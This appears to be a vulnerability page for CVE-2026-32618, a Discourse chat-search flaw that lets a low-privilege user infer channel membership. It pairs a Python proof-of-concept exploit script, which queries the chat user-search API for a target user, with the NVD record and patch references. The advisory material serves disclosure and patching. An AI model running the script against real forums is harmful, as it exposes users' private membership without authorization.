CVE-2026-32618

import requests # Target URL (Example) TARGET_URL = "https://discourse.example.com" SEARCH_API = "/chat/api/users" # Attacker credentials (low privilege) USERNAME = "attacker" PASSWORD = "password" TARGET_USER = "victim_user" def login(): """Simulate login to get session cookie""" session = requests.Session() # Implementation of login request depends on specific Discourse configuration # This is a conceptual placeholder login_data = {"login": USERNAME, "password": PASSWORD} session.post(f"{TARGET_URL}/session", data=login_data) return session def check_membership_inference(session): """Check if we can infer user presence via search""" headers = { "Accept": "application/json", # Add necessary auth headers or cookies } # Search for the target user in the chat context params = { "term": TARGET_USER, "include_channels": "true" } try: response = session.get(f"{TARGET_URL}{SEARCH_API}", headers=headers, params=params) if response.status_code == 200: data = response.json() # Analyze response to see if the user is returned users = data.get("users", []) for user in users: if user.get("username") == TARGET_USER: print(f"[+] Potential membership inferred for user: {TARGET_USER}") print(f"[+] User Data: {user}") return True print(f"[-] User {TARGET_USER} not found or access restricted.") else: print(f"Error: API returned status code {response.status_code}") except Exception as e: print(f"Exception occurred: {e}") if __name__ == "__main__": s = login() check_membership_inference(s)

{"cve": {"id": "CVE-2026-32618", "sourceIdentifier": "[email protected]", "published": "2026-03-31T18:16:50.370", "lastModified": "2026-04-09T18:30:55.347", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Discourse is an open-source discussion platform. From versions 2026.1.0-latest to before 2026.1.3, 2026.2.0-latest to before 2026.2.2, and 2026.3.0-latest to before 2026.3.0, there is possible channel membership inference from chat user search without authorization. This issue has been patched in versions 2026.1.3, 2026.2.2, and 2026.3.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-200"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:*:*:*:*:latest:*:*:*", "versionStartIncluding": "2026.1.0", "versionEndExcluding": "2026.1.3", "matchCriteriaId": "F64DA8FA-BC32-4EB9-B508-6425684D3245"}, {"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:*:*:*:*:latest:*:*:*", "versionStartIncluding": "2026.2.0", "versionEndExcluding": "2026.2.2", "matchCriteriaId": "26546710-17B3-4C72-930F-3BE0AD969127"}, {"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:2026.3.0:*:*:*:latest:*:*:*", "matchCriteriaId": "E3FE9277-4F6B-4FD0-991F-F0FB8D226E1C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:2026.3.0:*:*:*:latest.1:*:*:*", "matchCriteriaId": "DFA536C2-E9D9-4A03-89C2-C344DE682EA1"}]}]}], "references": [{"url": "https://github.com/discourse/discourse/commit/81fd89e744058e509412158e5e6ac90c856ade64", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/discourse/discourse/security/advisories/GHSA-pc8p-w2m7-hgf3", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}